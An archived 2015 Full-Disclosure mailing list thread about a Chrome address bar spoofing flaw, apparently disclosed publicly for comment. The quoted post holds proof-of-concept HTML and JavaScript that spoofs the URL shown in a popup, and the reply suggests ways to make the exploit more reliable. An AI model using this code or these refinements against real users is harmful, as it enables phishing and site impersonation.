lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 02 Jul 2015 14:33:37 +0100
From: Mustafa Al-Bassam <>
To: David Leo <>
Subject: Re: [FD] Google Chrome Address Spoofing (Request For Comment)

That's pretty neat. Played around with this and made a few discoveries.

1. It shows a valid certificate when you spoof HTTPS sites. That's really bad. POC/screenshot:

2. The page isn't responsive when using this flaw. That means you can't spoof a login box for example. (I tried.)

3. The success of the exploit seems to depend on if the browser can start loading content.html fast enough. I noticed that the exploit works 100% of the time when used locally. Perhaps a better version of the exploit would somehow preload content.html - for example by opening a window with an URL that starts with javascript: followed by a script to display the content? That, or perhaps reducing the interval time for trying to run next() after the popup is created.

I wonder if this works on any other browsers?

MustafaOn 30 Jun 2015 7:08 am, David Leo <> wrote:
> Impact: 
> The "click to verify" thing is completely broken... 
> Anyone can be "BBB Accredited Business" etc. 
> You can make display "We love Islamic State" :-) 
> Note: 
> No user interaction on the fake page. 
> Code: 
> ***** index.html 
> <script> 
> function next() 
> { 
> w.location.replace(''+n);n++; 
> setTimeout("next();",15); 
> setTimeout("next();",25); 
> } 
> function f() 
> { 
>"content.html","_blank","width=500 height=500"); 
> i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5); 
> } 
> </script> 
> <a href="#" onclick="f()">Go</a><br> 
> ***** content.html 
> <b>This web page is NOT</b> 
> <script>location="";</script> 
> ***** It's online 
> (The page says "June/16/2015" - it works as we tested today) 
> Request For Comment: 
> We reported this to Google. 
> They reproduced, and say 
> It's DoS which doesn't matter. 
> We think it's very strange, 
> since the browser does not crash(not DoS), 
> and the threat is obvious. 
> What's your opinion? 
> Kind Regards, 
> PS 
> We love clever tricks. 
> We love this: 
> _______________________________________________ 
> Sent through the Full Disclosure mailing list 
> Web Archives & RSS: 

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists